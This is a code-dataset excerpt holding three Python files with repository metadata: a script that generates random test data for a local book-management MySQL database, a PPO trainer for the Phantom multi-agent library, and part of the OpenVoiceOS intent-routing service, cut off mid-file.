{"seq_id": "41405988393", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\" 造数据 \"\"\"\n\nimport pymysql\nimport random\nfrom datetime import datetime\n\n__pyname__ = 'make_data'\n__author__ = 'Hedwig'\n__date__ = '2017/3/22'\n\n\ndef connect_db():\n    \"\"\"\n    连接数据库\n    \"\"\"\n    connection = pymysql.connect(\n        host='127.0.0.1',\n        port=3306,\n        user='root',\n        password='qwer1234',\n        db='BIMS',\n        charset='utf8mb4',\n        cursorclass=pymysql.cursors.DictCursor\n    )\n    return connection\n\n\ndef make_book_collection(count):\n    \"\"\"\n    制造图书收藏数据\n    :param count: 次数\n    :return:\n    \"\"\"\n    for i in range(count):\n        user_id = random.randint(100000, 100009)\n        book_id = random.randint(10001, 16129)\n        day = datetime.today().date().day + random.randint(-11, 0)\n        create_date = str(datetime.today().date())[:7] + '-' + str(day)\n        conn = connect_db()\n        cursor = conn.cursor()\n        sql = \"INSERT INTO `bims_collectionbook` (`user_id`, `book_id`, `create_date`) VALUES (%d, %d,\\'%s\\');\" % \\\n              (user_id, book_id, create_date)\n        print(sql)\n        cursor.execute(sql)\n        conn.commit()\n        conn.close()\n\n\ndef make_book_score(count):\n    \"\"\"\n    制造图书收藏数据\n    :param count: 次数\n    :return:\n    \"\"\"\n    for i in range(count):\n        user_id = random.randint(100000, 100009)\n        book_id = random.randint(10001, 16129)\n        score = random.randint(1, 5)\n        day = datetime.today().date().day + random.randint(-11, 0)\n        create_date = str(datetime.today().date())[:7] + '-' + str(day)\n        conn = connect_db()\n        cursor = conn.cursor()\n        sql = \"INSERT INTO BIMS_bookscore (book_id, user_id, score, create_date) VALUES (%d, %d, %d,\\'%s\\');\" % \\\n              (book_id, user_id, score, create_date)\n        print(sql)\n        cursor.execute(sql)\n        conn.commit()\n        conn.close()\n\n\ndef distinct_score():\n    \"\"\"\n    图书打分表数据去重\n    \"\"\"\n    conn = connect_db()\n    cursor = conn.cursor()\n    for user_id in range(100000, 100010):\n        sql = \"SELECT book_id,count(book_id) FROM BIMS_bookscore WHERE user_id = %d GROUP BY book_id HAVING count(book_id) > 1\" % user_id\n        cursor.execute(sql)\n        results = cursor.fetchall()\n        print(results)\n        for result in results:\n            book_id = result['book_id']\n            sql = \"SELECT op_id FROM BIMS_bookscore WHERE book_id = %d AND user_id = %d\" % (book_id, user_id)\n            cursor.execute(sql)\n            result_op = cursor.fetchall()\n            op_id = result_op[0]['op_id']\n            sql = \"DELETE from BIMS_bookscore where op_id = %d\" % op_id\n            cursor.execute(sql)\n    conn.commit()\n    conn.close()\n\n\nif __name__ == '__main__':\n    distinct_score()\n", "repo_name": "Hedwiglzy/Book_Info_Manager_System", "sub_path": "BIMS/tools/make_data.py", "file_name": "make_data.py", "file_ext": "py", "file_size_in_byte": 2798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pymysql.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "pymysql.cursors", "line_number": 26, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 59, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 60, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "name"}]}
{"seq_id": "73869484388", "text": "from collections import defaultdict\nfrom typing import Any, Dict, List, Mapping, Optional, Sequence, Tuple, Type\n\nimport numpy as np\nimport rich.progress\nimport torch\n\nfrom ...env import PhantomEnv\nfrom ...logging import Metric\nfrom ...types import AgentID, PolicyID\nfrom ...utils import check_env_config\nfrom ..trainer import PolicyMapping, Trainer, TrainingResults\n\nfrom .policy import PPOPolicy\nfrom .storage import RolloutStorage\nfrom .utils import update_linear_schedule\n\n\nclass PPOTrainer(Trainer):\n    \"\"\"\n    Proximal Policy Optimisation (PPO) algorithm implementation derived from\n    https://github.com/ikostrikov/pytorch-a2c-ppo-acktr-gail.\n\n    For performance and stability reasons, it is recommended that the RLlib\n    implementation is used using the :func:`utils.rllib.train` function.\n\n    Arguments:\n        tensorboard_log_dir: If provided, will save metrics to the given directory\n            in a format that can be viewed with tensorboard.\n        ppo_epoch:\n        num_mini_batch:\n        clip_param:\n        use_clipped_value_loss:\n        use_linear_lr_decay:\n        lr:\n        eps:\n        value_loss_coef:\n        entropy_coef:\n        max_grad_norm:\n        use_gae:\n        gamma:\n        gae_lambda:\n        use_proper_time_limits:\n    \"\"\"\n\n    policy_class = PPOPolicy\n\n    def __init__(\n        self,\n        # Trainer general args:\n        tensorboard_log_dir: Optional[str] = None,\n        # PPOTrainer specific args:\n        ppo_epoch: int = 4,\n        num_mini_batch: int = 32,\n        clip_param: float = 0.2,\n        use_clipped_value_loss: bool = True,\n        use_linear_lr_decay: bool = False,\n        lr: float = 7e-4,\n        eps: float = 1e-5,\n        value_loss_coef: float = 0.5,\n        entropy_coef: float = 0.01,\n        max_grad_norm: float = 0.5,\n        use_gae: bool = False,\n        gamma: float = 0.99,\n        gae_lambda: float = 0.95,\n        use_proper_time_limits: bool = False,\n    ) -> None:\n        super().__init__(tensorboard_log_dir)\n\n        self.ppo_epoch = ppo_epoch\n        self.num_mini_batch = num_mini_batch\n        self.clip_param = clip_param\n        self.use_clipped_value_loss = use_clipped_value_loss\n        self.use_linear_lr_decay = use_linear_lr_decay\n        self.lr = lr\n        self.eps = eps\n        self.value_loss_coef = value_loss_coef\n        self.entropy_coef = entropy_coef\n        self.max_grad_norm = max_grad_norm\n        self.use_gae = use_gae\n        self.gamma = gamma\n        self.gae_lambda = gae_lambda\n        self.use_proper_time_limits = use_proper_time_limits\n\n    def train(\n        self,\n        env_class: Type[PhantomEnv],\n        num_iterations: int,\n        policies: PolicyMapping,\n        policies_to_train: Sequence[PolicyID],\n        env_config: Optional[Mapping[str, Any]] = None,\n        metrics: Optional[Mapping[str, Metric]] = None,\n    ) -> TrainingResults:\n        env_config = env_config or {}\n        self.metrics = metrics or {}\n\n        check_env_config(env_config)\n\n        num_envs = 10\n\n        envs = []\n        observations = []\n\n        for _ in range(num_envs):\n            env = env_class(**env_config)\n            observations.append(env.reset())\n            envs.append(env)\n\n        policy_mapping, policy_instances = self.setup_policy_specs_and_mapping(\n            env, policies\n        )\n\n        assert len(policies_to_train) == 1\n        policy_to_train = policies_to_train[0]\n\n        training_policy = policy_instances[policy_to_train]\n        training_agent = next(\n            a for a, p in policy_mapping.items() if p == policy_to_train\n        )\n\n        assert isinstance(training_policy, self.policy_class)\n\n        device = torch.device(\"cpu\")\n\n        self.actor_critic = PPOPolicy(\n            training_policy.observation_space,\n            training_policy.action_space,\n            base_kwargs={\"recurrent\": False},\n        )\n        self.actor_critic.to(device)\n\n        self.optimizer = torch.optim.Adam(\n            self.actor_critic.parameters(), lr=self.lr, eps=self.eps\n        )\n\n        rollouts = RolloutStorage(\n            envs[0].num_steps,\n            num_envs,\n            training_policy.observation_space,\n            training_policy.action_space,\n            self.actor_critic.recurrent_hidden_state_size,\n        )\n\n        agent_obs = np.array([obs[training_agent] for obs in observations])\n\n        rollouts.obs[0].copy_(torch.FloatTensor(agent_obs))\n        rollouts.to(device)\n\n        # episode_rewards = deque(maxlen=10)\n\n        for i in rich.progress.track(range(num_iterations), description=\"Training...\"):\n            if self.use_linear_lr_decay:\n                # decrease learning rate linearly\n                update_linear_schedule(self.optimizer, i, num_iterations, self.lr)\n\n            episode_rewards = defaultdict(list)\n\n            for step in range(env.num_steps):\n                # Sample actions\n                with torch.no_grad():\n                    (\n                        value,\n                        trained_policy_actions,\n                        action_log_prob,\n                        recurrent_hidden_states,\n                    ) = self.actor_critic.act(\n                        rollouts.obs[step].reshape((-1, 1)),\n                        rollouts.recurrent_hidden_states[step],\n                        rollouts.masks[step],\n                    )\n\n                new_observations: List[Dict[AgentID, Any]] = []\n                rewards: List[Dict[AgentID, float]] = []\n                terminations: List[Dict[AgentID, bool]] = []\n                truncations: List[Dict[AgentID, bool]] = []\n                infos: List[Dict[AgentID, Any]] = []\n\n                for env, obs, tpa in zip(envs, observations, trained_policy_actions):\n                    actions: Dict[AgentID, Any] = {}\n\n                    for agent_id, agent_obs in obs.items():\n                        policy_name = policy_mapping[agent_id]\n                        policy = policy_instances[policy_name]\n\n                        if policy_name == policy_to_train:\n                            if len(tpa) == 1:\n                                actions[agent_id] = tpa[0]\n                            else:\n                                actions[agent_id] = np.array(tpa)\n\n                        else:\n                            actions[agent_id] = policy.compute_action(agent_obs)\n\n                    o, r, te, tr, i_ = env.step(actions)\n\n                    new_observations.append(o)\n                    rewards.append(r)\n                    terminations.append(te)\n                    truncations.append(tr)\n                    infos.append(i_)\n\n                observations = new_observations\n\n                for agent_id in rewards[0].keys():\n                    episode_rewards[agent_id].append(\n                        np.mean([r[agent_id] for r in rewards])\n                    )\n\n                # for info in infos:\n                #     if 'episode' in info.keys():\n                #         episode_rewards.append(info['episode']['r'])\n\n                # If done then clean the history of observations.\n                masks = torch.FloatTensor(\n                    [\n                        [0.0] if te[training_agent] or tr[training_agent] else [1.0]\n                        for te, tr in zip(terminations, truncations)\n                    ]\n                )\n                bad_masks = torch.FloatTensor(\n                    [\n                        [0.0]\n                        if \"bad_transition\" in info[training_agent].keys()\n                        else [1.0]\n                        for info in infos\n                    ]\n                )\n\n                training_observations = torch.FloatTensor(\n                    [obs[training_agent] for obs in observations]\n                )\n\n                training_rewards = torch.FloatTensor(\n                    [[rwd[training_agent]] for rwd in rewards]\n                )\n\n                rollouts.insert(\n                    training_observations,\n                    recurrent_hidden_states,\n                    trained_policy_actions,\n                    action_log_prob,\n                    value,\n                    training_rewards,\n                    masks,\n                    bad_masks,\n                )\n\n                self.log_vec_rewards(rewards)\n                self.log_vec_metrics(envs)\n\n            with torch.no_grad():\n                next_value = self.actor_critic.get_value(\n                    rollouts.obs[-1].reshape((-1, 1)),\n                    rollouts.recurrent_hidden_states[-1],\n                    rollouts.masks[-1],\n                ).detach()\n\n            rollouts.compute_returns(\n                next_value,\n                self.use_gae,\n                self.gamma,\n                self.gae_lambda,\n                self.use_proper_time_limits,\n            )\n\n            # value_loss, action_loss, dist_entropy = self.update(rollouts)\n            self.update(rollouts)\n\n            rollouts.after_update()\n\n            self.tbx_write_values(i)\n\n            # save for every interval-th episode or for the last epoch\n            # if (j % args.save_interval == 0\n            #         or j == num_updates - 1) and args.save_dir != \"\":\n            #     save_path = os.path.join(args.save_dir, args.algo)\n            #     try:\n            #         os.makedirs(save_path)\n            #     except OSError:\n            #         pass\n\n            #     torch.save([\n            #         actor_critic,\n            #         getattr(utils.get_vec_normalize(envs), 'obs_rms', None)\n            #     ], os.path.join(save_path, args.env_name + \".pt\"))\n\n            # if j % args.log_interval == 0 and len(episode_rewards) > 1:\n            #     total_num_steps = (j + 1) * args.num_processes * args.num_steps\n            #     end = time.time()\n            #     print(\n            #         \"Updates {}, num timesteps {}, FPS {} \\n Last {} training episodes: mean/median reward {:.1f}/{:.1f}, min/max reward {:.1f}/{:.1f}\\n\"\n            #         .format(j, total_num_steps,\n            #                 int(total_num_steps / (end - start)),\n            #                 len(episode_rewards), np.mean(episode_rewards),\n            #                 np.median(episode_rewards), np.min(episode_rewards),\n            #                 np.max(episode_rewards), dist_entropy, value_loss,\n            #                 action_loss))\n\n            # if (args.eval_interval is not None and len(episode_rewards) > 1\n            #         and j % args.eval_interval == 0):\n            #     obs_rms = utils.get_vec_normalize(envs).obs_rms\n            #     evaluate(actor_critic, obs_rms, args.env_name, args.seed,\n            #             args.num_processes, eval_log_dir, device)\n\n        return TrainingResults(policy_instances)\n\n    def update(self, rollouts: RolloutStorage) -> Tuple[float, float, float]:\n        advantages = rollouts.returns[:-1] - rollouts.value_preds[:-1]\n        advantages = (advantages - advantages.mean()) / (advantages.std() + 1e-5)\n\n        value_loss_epoch = 0.0\n        action_loss_epoch = 0.0\n        dist_entropy_epoch = 0.0\n\n        for _ in range(self.ppo_epoch):\n            if self.actor_critic.is_recurrent:\n                data_generator = rollouts.recurrent_generator(\n                    advantages, self.num_mini_batch\n                )\n            else:\n                data_generator = rollouts.feed_forward_generator(\n                    advantages, self.num_mini_batch\n                )\n\n            for sample in data_generator:\n                (\n                    obs_batch,\n                    recurrent_hidden_states_batch,\n                    actions_batch,\n                    value_preds_batch,\n                    return_batch,\n                    masks_batch,\n                    old_action_log_probs_batch,\n                    adv_targ,\n                ) = sample\n\n                # Reshape to do in a single forward pass for all steps\n                (\n                    values,\n                    action_log_probs,\n                    dist_entropy,\n                    _,\n                ) = self.actor_critic.evaluate_actions(\n                    obs_batch.reshape((-1, 1)),\n                    recurrent_hidden_states_batch,\n                    masks_batch,\n                    actions_batch,\n                )\n\n                ratio = torch.exp(action_log_probs - old_action_log_probs_batch)\n                surr1 = ratio * adv_targ\n                surr2 = (\n                    torch.clamp(\n                        ratio,\n                        1.0 - self.clip_param,\n                        1.0 + self.clip_param,\n                    )\n                    * adv_targ\n                )\n                action_loss = -torch.min(surr1, surr2).mean()\n\n                if self.use_clipped_value_loss:\n                    value_pred_clipped = value_preds_batch + (\n                        values - value_preds_batch\n                    ).clamp(-self.clip_param, self.clip_param)\n                    value_losses = (values - return_batch).pow(2)\n                    value_losses_clipped = (value_pred_clipped - return_batch).pow(2)\n                    value_loss = (\n                        0.5 * torch.max(value_losses, value_losses_clipped).mean()\n                    )\n                else:\n                    value_loss = 0.5 * (return_batch - values).pow(2).mean()\n\n                self.optimizer.zero_grad()\n                (\n                    value_loss * self.value_loss_coef\n                    + action_loss\n                    - dist_entropy * self.entropy_coef\n                ).backward()\n                torch.nn.utils.clip_grad_norm_(\n                    self.actor_critic.parameters(), self.max_grad_norm\n                )\n                self.optimizer.step()\n\n                value_loss_epoch += value_loss.item()\n                action_loss_epoch += action_loss.item()\n                dist_entropy_epoch += dist_entropy.item()\n\n        num_updates = self.ppo_epoch * self.num_mini_batch\n\n        value_loss_epoch /= num_updates\n        action_loss_epoch /= num_updates\n        dist_entropy_epoch /= num_updates\n\n        return value_loss_epoch, action_loss_epoch, dist_entropy_epoch\n", "repo_name": "jpmorganchase/Phantom", "sub_path": "examples/trainers/ppo/trainer.py", "file_name": "trainer.py", "file_ext": "py", "file_size_in_byte": 14252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 35, "dataset": "github-code", "pt": "71", "api": [{"api_name": "trainer.Trainer", "line_number": 19, "usage_type": "name"}, {"api_name": "policy.PPOPolicy", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 87, "usage_type": "name"}, {"api_name": "env.PhantomEnv", "line_number": 87, "usage_type": "name"}, {"api_name": "trainer.PolicyMapping", "line_number": 89, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 90, "usage_type": "name"}, {"api_name": "types.PolicyID", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 92, "usage_type": "name"}, {"api_name": "logging.Metric", "line_number": 92, "usage_type": "name"}, {"api_name": "utils.check_env_config", "line_number": 97, "usage_type": "call"}, {"api_name": "env.reset", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 123, "usage_type": "call"}, {"api_name": "policy.PPOPolicy", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 132, "usage_type": "attribute"}, {"api_name": "storage.RolloutStorage", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 146, "usage_type": "call"}, {"api_name": "rich.progress.progress.track", "line_number": 151, "usage_type": "call"}, {"api_name": "rich.progress.progress", "line_number": 151, "usage_type": "attribute"}, {"api_name": "rich.progress", "line_number": 151, "usage_type": "name"}, {"api_name": "utils.update_linear_schedule", "line_number": 154, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 156, "usage_type": "call"}, {"api_name": "env.num_steps", "line_number": 158, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 160, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 172, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 173, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 173, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 173, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 174, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 175, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 176, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 179, "usage_type": "name"}, {"api_name": "types.AgentID", "line_number": 179, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 179, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 189, "usage_type": "call"}, {"api_name": "policy.compute_action", "line_number": 192, "usage_type": "call"}, {"api_name": "env.step", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 220, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 229, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 251, "usage_type": "call"}, {"api_name": "trainer.TrainingResults", "line_number": 305, "usage_type": "call"}, {"api_name": "trainer.TrainingResults", "line_number": 93, "usage_type": "name"}, {"api_name": "storage.RolloutStorage", "line_number": 307, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 350, "usage_type": "call"}, {"api_name": "torch.clamp", "line_number": 353, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 360, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 369, "usage_type": "call"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 380, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 380, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 307, "usage_type": "name"}]}
{"seq_id": "15291820591", "text": "from collections import namedtuple\n\nfrom ovos_config.config import Configuration\nfrom ovos_config.locale import setup_locale\n\nfrom ovos_core.transformers import MetadataTransformersService, UtteranceTransformersService\nfrom ovos_core.intent_services.adapt_service import AdaptService\nfrom ovos_core.intent_services.commonqa_service import CommonQAService\nfrom ovos_core.intent_services.converse_service import ConverseService\nfrom ovos_core.intent_services.fallback_service import FallbackService\nfrom ovos_core.intent_services.padatious_service import PadatiousService, PadatiousMatcher\nfrom ovos_utils.intents.intent_service_interface import open_intent_envelope\nfrom ovos_utils.log import LOG\nfrom ovos_utils.messagebus import get_message_lang\nfrom ovos_utils.metrics import Stopwatch\nfrom ovos_utils.sound import play_error_sound\n\n# Intent match response tuple containing\n# intent_service: Name of the service that matched the intent\n# intent_type: intent name (used to call intent handler over the message bus)\n# intent_data: data provided by the intent match\n# skill_id: the skill this handler belongs to\nIntentMatch = namedtuple('IntentMatch',\n                         ['intent_service', 'intent_type',\n                          'intent_data', 'skill_id']\n                         )\n\n\nclass IntentService:\n    \"\"\"Mycroft intent service. parses utterances using a variety of systems.\n\n    The intent service also provides the internal API for registering and\n    querying the intent service.\n    \"\"\"\n\n    def __init__(self, bus):\n        self.bus = bus\n        config = Configuration()\n\n        # Dictionary for translating a skill id to a name\n        self.skill_names = {}\n\n        # TODO - replace with plugins\n        self.adapt_service = AdaptService(config.get('context', {}))\n        try:\n            self.padatious_service = PadatiousService(bus, config['padatious'])\n        except Exception as err:\n            LOG.exception(f'Failed to create padatious handlers ({err})')\n        self.fallback = FallbackService(bus)\n        self.converse = ConverseService(bus)\n        self.common_qa = CommonQAService(bus)\n        self.utterance_plugins = UtteranceTransformersService(bus, config=config)\n        self.metadata_plugins = MetadataTransformersService(bus, config=config)\n\n        self.bus.on('register_vocab', self.handle_register_vocab)\n        self.bus.on('register_intent', self.handle_register_intent)\n        self.bus.on('recognizer_loop:utterance', self.handle_utterance)\n        self.bus.on('detach_intent', self.handle_detach_intent)\n        self.bus.on('detach_skill', self.handle_detach_skill)\n        # Context related handlers\n        self.bus.on('add_context', self.handle_add_context)\n        self.bus.on('remove_context', self.handle_remove_context)\n        self.bus.on('clear_context', self.handle_clear_context)\n\n        # Converse method\n        self.bus.on('mycroft.speech.recognition.unknown', self.reset_converse)\n        self.bus.on('mycroft.skills.loaded', self.update_skill_name_dict)\n\n        self.bus.on('intent.service.skills.activate',\n                    self.handle_activate_skill_request)\n        self.bus.on('intent.service.skills.deactivate',\n                    self.handle_deactivate_skill_request)\n        # TODO backwards compat, deprecate\n        self.bus.on('active_skill_request', self.handle_activate_skill_request)\n\n        # Intents API\n        self.registered_vocab = []\n        self.bus.on('intent.service.intent.get', self.handle_get_intent)\n        self.bus.on('intent.service.skills.get', self.handle_get_skills)\n        self.bus.on('intent.service.active_skills.get',\n                    self.handle_get_active_skills)\n        self.bus.on('intent.service.adapt.get', self.handle_get_adapt)\n        self.bus.on('intent.service.adapt.manifest.get',\n                    self.handle_adapt_manifest)\n        self.bus.on('intent.service.adapt.vocab.manifest.get',\n                    self.handle_vocab_manifest)\n        self.bus.on('intent.service.padatious.get',\n                    self.handle_get_padatious)\n        self.bus.on('intent.service.padatious.manifest.get',\n                    self.handle_padatious_manifest)\n        self.bus.on('intent.service.padatious.entities.manifest.get',\n                    self.handle_entity_manifest)\n\n    @property\n    def registered_intents(self):\n        lang = get_message_lang()\n        return [parser.__dict__\n                for parser in self.adapt_service.engines[lang].intent_parsers]\n\n    def update_skill_name_dict(self, message):\n        \"\"\"Messagebus handler, updates dict of id to skill name conversions.\"\"\"\n        self.skill_names[message.data['id']] = message.data['name']\n\n    def get_skill_name(self, skill_id):\n        \"\"\"Get skill name from skill ID.\n\n        Args:\n            skill_id: a skill id as encoded in Intent handlers.\n\n        Returns:\n            (str) Skill name or the skill id if the skill wasn't found\n        \"\"\"\n        return self.skill_names.get(skill_id, skill_id)\n\n    # converse handling\n    @property\n    def active_skills(self):\n        return self.converse.active_skills  # [skill_id , timestamp]\n\n    def handle_activate_skill_request(self, message):\n        # TODO imperfect solution - only a skill can activate itself\n        # someone can forge this message and emit it raw, but in OpenVoiceOS all\n        # skill messages should have skill_id in context, so let's make sure\n        # this doesnt happen accidentally at very least\n        skill_id = message.data['skill_id']\n        source_skill = message.context.get(\"skill_id\")\n        self.converse.activate_skill(skill_id, source_skill)\n\n    def handle_deactivate_skill_request(self, message):\n        # TODO imperfect solution - only a skill can deactivate itself\n        # someone can forge this message and emit it raw, but in ovos-core all\n        # skill message should have skill_id in context, so let's make sure\n        # this doesnt happen accidentally\n        skill_id = message.data['skill_id']\n        source_skill = message.context.get(\"skill_id\") or skill_id\n        self.converse.deactivate_skill(skill_id, source_skill)\n\n    def reset_converse(self, message):\n        \"\"\"Let skills know there was a problem with speech recognition\"\"\"\n        lang = get_message_lang(message)\n        try:\n            setup_locale(lang)  # restore default lang\n        except Exception as e:\n            LOG.exception(f\"Failed to set lingua_franca default lang to {lang}\")\n        self.converse.converse_with_skills([], lang, message)\n\n    def _handle_transformers(self, message):\n        \"\"\"\n        Pipe utterance through transformer plugins to get more metadata.\n        Utterances may be modified by any parser and context overwritten\n        \"\"\"\n        lang = get_message_lang(message)  # per query lang or default Configuration lang\n        original = utterances = message.data.get('utterances', [])\n        message.context[\"lang\"] = lang\n        utterances, message.context = self.utterance_plugins.transform(utterances, message.context)\n        if original != utterances:\n            message.data[\"utterances\"] = utterances\n            LOG.debug(f\"utterances transformed: {original} -> {utterances}\")\n        message.context = self.metadata_plugins.transform(message.context)\n        return message\n\n    @staticmethod\n    def disambiguate_lang(message):\n        \"\"\" disambiguate language of the query via pre-defined context keys\n        1 - stt_lang -> tagged in stt stage  (STT used this lang to transcribe speech)\n        2 - request_lang -> tagged in source message (wake word/request volunteered lang info)\n        3 - detected_lang -> tagged by transformers  (text classification, free form chat)\n        4 - config lang (or from message.data)\n        \"\"\"\n        cfg = Configuration()\n        default_lang = get_message_lang(message)\n        valid_langs = set([cfg.get(\"lang\", \"en-us\")] + cfg.get(\"secondary_langs'\", []))\n        lang_keys = [\"stt_lang\",\n                     \"request_lang\",\n                     \"detected_lang\"]\n        for k in lang_keys:\n            if k in message.context:\n                v = message.context[k]\n                if v in valid_langs:\n                    if v != default_lang:\n                        LOG.info(f\"replaced {default_lang} with {k}: {v}\")\n                    return v\n                else:\n                    LOG.warning(f\"ignoring {k}, {v} is not in enabled languages: {valid_langs}\")\n\n        return default_lang\n\n    def handle_utterance(self, message):\n        \"\"\"Main entrypoint for handling user utterances\n\n        Monitor the messagebus for 'recognizer_loop:utterance', typically\n        generated by a spoken interaction but potentially also from a CLI\n        or other method of injecting a 'user utterance' into the system.\n\n        Utterances then work through this sequence to be handled:\n        1) UtteranceTransformers can modify the utterance and metadata in message.context\n        2) MetadataTransformers can modify the metadata in message.context\n        3) Language is extracted from message\n        4) Active skills attempt to handle using converse()\n        5) Padatious high match intents (conf > 0.95)\n        6) Adapt intent handlers\n        7) CommonQuery Skills\n        8) High Priority Fallbacks\n        9) Padatious near match intents (conf > 0.8)\n        10) General Fallbacks\n        11) Padatious loose match intents (conf > 0.5)\n        12) Catch all fallbacks including Unknown intent handler\n\n        If all these fail the complete_intent_failure message will be sent\n        and a generic error sound played.\n\n        Args:\n            message (Message): The messagebus data\n        \"\"\"\n        try:\n\n            # Get utterance utterance_plugins additional context\n            message = self._handle_transformers(message)\n\n            # tag language of this utterance\n            lang = self.disambiguate_lang(message)\n            try:\n                setup_locale(lang)\n            except Exception as e:\n                LOG.exception(f\"Failed to set lingua_franca default lang to {lang}\")\n\n            utterances = message.data.get('utterances', [])\n\n            stopwatch = Stopwatch()\n\n            # Create matchers\n            padatious_matcher = PadatiousMatcher(self.padatious_service)\n\n            # List of functions to use to match the utterance with intent.\n            # These are listed in priority order.\n            match_funcs = [\n                self.converse.converse_with_skills, padatious_matcher.match_high,\n                self.adapt_service.match_intent, self.common_qa.match,\n                self.fallback.high_prio, padatious_matcher.match_medium,\n                self.fallback.medium_prio, padatious_matcher.match_low,\n                self.fallback.low_prio\n            ]\n\n            # match\n            match = None\n            with stopwatch:\n                # Loop through the matching functions until a match is found.\n                for match_func in match_funcs:\n                    match = match_func(utterances, lang, message)\n                    if match:\n                        break\n            if match:\n                if match.skill_id:\n                    self.converse.activate_skill(match.skill_id)\n                    # If the service didn't report back the skill_id it\n                    # takes on the responsibility of making the skill \"active\"\n\n                # Launch skill if not handled by the match function\n                if match.intent_type:\n                    # keep all original message.data and update with intent\n                    # match, mycroft-core only keeps \"utterances\"\n                    data = dict(message.data)\n                    data.update(match.intent_data)\n                    reply = message.reply(match.intent_type, data)\n                    self.bus.emit(reply)\n\n            else:\n                # Nothing was able to handle the intent\n                # Ask politely for forgiveness for failing in this vital task\n                self.send_complete_intent_failure(message)\n\n            return match, message.context, stopwatch\n\n        except Exception as err:\n            LOG.exception(err)\n\n    def send_complete_intent_failure(self, message):\n        \"\"\"Send a message that no skill could handle the utterance.\n\n        Args:\n            message (Message): original message to forward from\n        \"\"\"\n        play_error_sound()\n        self.bus.emit(message.forward('complete_intent_failure'))\n\n    def handle_register_vocab(self, message):\n        \"\"\"Register adapt vocabulary.\n\n        Args:\n            message (Message): message containing vocab info\n        \"\"\"\n        # TODO: 22.02 Remove backwards compatibility\n        if _is_old_style_keyword_message(message):\n            LOG.warning('Deprecated: Registering keywords with old message. '\n                        'This will be removed in v22.02.')\n            _update_keyword_message(message)\n\n        entity_value = message.data.get('entity_value')\n        entity_type = message.data.get('entity_type')\n        regex_str = message.data.get('regex')\n        alias_of = message.data.get('alias_of')\n        lang = get_message_lang(message)\n        self.adapt_service.register_vocabulary(entity_value, entity_type,\n                                               alias_of, regex_str, lang)\n        self.registered_vocab.append(message.data)\n\n    def handle_register_intent(self, message):\n        \"\"\"Register adapt intent.\n\n        Args:\n            message (Message): message containing intent info\n        \"\"\"\n        intent = open_intent_envelope(message)\n        self.adapt_service.register_intent(intent)\n\n    def 